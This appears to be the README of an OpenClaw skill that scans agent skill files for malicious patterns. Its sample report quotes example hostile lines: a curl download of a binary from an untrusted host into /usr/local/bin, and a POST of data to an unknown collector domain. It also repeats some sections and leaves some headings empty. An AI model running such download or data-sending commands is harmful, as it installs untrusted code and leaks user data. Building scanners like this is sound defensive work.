Security Skill Scanner

Security Scanner

Description

A security-focused skill that analyzes OpenClaw SKILL.md files and skill packages for potential security risks, malicious patterns, and suspicious behaviors. This tool helps protect your system by detecting:

Why this matters: This scanner helps you review skills before installation by flagging potentially suspicious instruction patterns.

Features

How It Works

This is an OpenClaw skill (not a standalone program). When you ask the agent to scan a skill file: 1. The agent reads this security-scanner skill to learn what patterns to look for 2. The agent reads the skill file you want to scan 3. The agent analyzes the instructions and reports findings 4. You manually review the flagged items

Note: The included scanner.js file can also be run directly with Node.js 18+ if you prefer command-line usage.

Installation

Install via ClawHub or add to your OpenClaw skills directory.

For command-line usage (optional):

# Clone the repository
git clone https://github.com/anikrahman0/security-skill-scanner.git
cd security-skill-scanner
Run the scanner
node scanner.js path/to/SKILL.md

Configuration

Create a .security-scanner-config.json in your OpenClaw directory (optional):

{
  "whitelistedDomains": [
    "github.com",
    "api.openai.com",
    "api.anthropic.com",
    "raw.githubusercontent.com"
  ],
  "whitelistedCommands": [
    "npm install",
    "pip install"
  ],
  "strictMode": false
}

Usage

Scan a SKILL.md file

User: "Scan the skill file at ~/Downloads/new-skill/SKILL.md for security issues"
Agent: [Runs security scan and reports findings]

Scan before installation

User: "I have the email-automation skill file. Can you scan it for security risks?"
[User uploads the SKILL.md file]
Agent: [Reads and analyzes the skill file, provides risk assessment]

Important: If you ask Claude to download a skill from the internet first, that download step will use network access (though the scanner itself runs offline).

Batch scan all installed skills

User: "Scan all my installed OpenClaw skills for security issues"
Agent: [Scans all skills in ~/.openclaw/skills/ and generates report]

What It Detects

🔴 CRITICAL Risks

🟠 HIGH Risks

🟡 MEDIUM Risks

🟢 LOW Risks

⚠️ IMPORTANT: False Positives & Limitations

This Scanner WILL Flag Legitimate Patterns

The scanner uses regex patterns that may match innocent code. Common false positives:

What This Actually Scans

Skills are markdown instruction files, not executable code. This scanner:

Your Responsibility

YOU must review all flagged items in context. Ask yourself:

When in doubt, ask the skill author or community.

Output Format

=== Security Scan Report ===
Skill: email-automation
Scanned: 2024-02-09 14:30:22
Overall Risk: HIGH ⚠️
FINDINGS:
[CRITICAL] External Binary Download Detected
  Location: Line 45 in prerequisites
  Pattern: curl https://unknown-site.com/tool -o /usr/local/bin/helper
  Risk: This downloads and executes an external binary from an untrusted source
  Recommendation: DO NOT INSTALL - Manual verification required
[HIGH] Suspicious API Endpoint
  Location: Line 89 in execute()
  Pattern: POST to http://data-collector.xyz/log
  Risk: Sends data to unknown third-party server
  Recommendation: Review what data is being sent
[MEDIUM] Unencrypted Network Request
  Location: Line 102
  Pattern: HTTP instead of HTTPS
  Risk: Data transmitted without encryption
  Recommendation: Request HTTPS version
SUMMARY:
Total Issues: 3
Critical: 1
High: 1
Medium: 1
Low: 0
RECOMMENDATION: ❌ DO NOT INSTALL
This skill has critical security issues that pose significant risk to your system.

Example Scenarios

Scenario 1: Clean Skill

User: "Scan the weather-checker skill"
Agent: "✅ SAFE - No security issues detected. The skill uses standard API calls
       to api.weatherapi.com with proper HTTPS and no file system access."

Scenario 2: Suspicious Skill

User: "Should I install the productivity-helper skill?"
Agent: "⚠️ WARNING - This skill attempts to download an external binary and
       makes requests to an unknown domain. Risk Level: CRITICAL
       Recommendation: DO NOT INSTALL"

Scenario 3: Minor Issues

User: "Analyze the note-taker skill"
Agent: "⚠️ CAUTION - Risk Level: LOW
       Found 2 minor issues:
       - Uses HTTP instead of HTTPS for icon download
       - Missing input validation on file paths
       These can likely be fixed. Consider contacting the author."

Security Guarantees

This scanner itself is designed with security in mind:

False Positives

The scanner may flag legitimate uses of certain patterns. Common false positives:

Use judgment and review flagged items in context.

Limitations

This tool is a helpful first line of defense, but not a replacement for careful review.

Contributing

Found a malicious pattern not detected? Submit an issue or PR with:

Roadmap

Support

License

MIT License - Free to use, modify, and distribute

Disclaimer

This tool provides pattern-based security scanning with expected false positives. It scans instruction files (markdown), not executable code.

Critical: This scanner cannot provide definitive security verdicts. All flagged items require manual review in context. Skills are instructions for Claude to read, not programs that execute automatically.

Always review skills carefully before installation, especially those requiring system-level permissions. The authors are not responsible for any damages resulting from use of this tool or installation of scanned skills.

Remember: If a skill seems too good to be true or requests unusual permissions, it probably is suspicious. When in doubt, don't install it.

Scan a SKILL.md file

User: "Scan the skill file at ~/Downloads/new-skill/SKILL.md for security issues"
Agent: [Runs security scan and reports findings]

Scan before installation

User: "I have the email-automation skill file. Can you scan it for security risks?"
[User uploads the SKILL.md file]
Agent: [Reads and analyzes the skill file, provides risk assessment]

Important: If you ask Claude to download a skill from the internet first, that download step will use network access (though the scanner itself runs offline).

Batch scan all installed skills

User: "Scan all my installed OpenClaw skills for security issues"
Agent: [Scans all skills in ~/.openclaw/skills/ and generates report]

Create a .security-scanner-config.json in your OpenClaw directory (optional):

{
  "whitelistedDomains": [
    "github.com",
    "api.openai.com",
    "api.anthropic.com",
    "raw.githubusercontent.com"
  ],
  "whitelistedCommands": [
    "npm install",
    "pip install"
  ],
  "strictMode": false
}